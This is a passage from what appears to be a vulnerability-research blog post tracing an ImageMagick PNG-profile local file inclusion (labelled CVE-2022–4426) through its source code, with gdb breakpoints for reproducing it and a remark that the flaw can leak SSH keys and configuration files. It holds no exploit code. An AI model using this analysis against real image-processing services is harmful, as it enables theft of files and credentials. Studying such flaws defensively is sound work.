ReadOnePNGImage -> IsEventLogging -> GetMagickResourceLimit -> GetImageOption -> GetValueFromSplayTree -> LockSemaphoreInfo -> png.c:3962 -> ConcatenateMagickString -> SetImageProperty -> property.c:4711 -> AcquireImageInfo -> CopyMagickString -> SetImageInfo -> FileToStringInfo -> FileToBlob -> SetImageProfile -> DestroyStringInfo -> DestroyImageInfo

With the execution flow, it will be easier to reproduce this and follow the functions.

Also, I want here to summarize the exact lines where the vulnerability happened:

  • First starts here where the PNG image gets read and processed.
static Image *ReadOnePNGImage(MngInfo *mng_info,
const ImageInfo *image_info, ExceptionInfo *exception)
{
  • Read the text chunk
png.c:3962
ConcatenateMagickString
  • Check “profile” keyword
SetImageProperty
property.c:4711
  • Read the file content and store it
property.c:4722
profile=FileToStringInfo(image_info->filename,~0UL,exception);
string.c:1017
string_info->datum=(unsigned char *) FileToBlob(filename,extent, &string_info->length,exception);
  • Finally here is where the SetImageProfile function will set the image profile and anything related to it, and now the image is ready.

If you want to reproduce this and minimize the time and just go straight to the main point, you can add breakpoints as follows:

break ReadOnePNGImage
break png.c:3954
break png.c:3986
break SetImageProperty
break property.c:4711
break property.c:4722
break property.c:4725
break FileToStringInfo
break string.c:1017

after that go with “continue” , “step” , “step-in” and “next”.

  • The red highlighted ones, here we are setting the breakpoints.
  • The green highlighted one, we started the program.
  • Finally, we see the program hit the first breakpoint.

How the attacker would abuse this?

If this tool is used with online photo service, it can be exploited to leak the SSH keys, configuration files ..etc, same thing applies to privilege escalation scenarios.

Final thoughts

This is really interesting vulnerability (I say that about each 0day LOL) since it can be exploited in privilege escalation, but also because ImageMagick is used in multiple languages and in websites so it can be a public target for the attackers.

I didn’t do any patch diffing here since there are a lot of changes between the vulnerable version and the latest version, however, studying the code changes is always interesting and can lead to new bypasses or new vulnerabilities.

Resources

In this blog, I want to dive deep as much as I can to understand the execution details and how the vulnerability is achieved. This is CVE-2022–4426 a very interesting vulnerability where it leads to LFI and also it can be used for privilege escalation.

--

--

vsociety

vsociety is a community centered around vulnerability research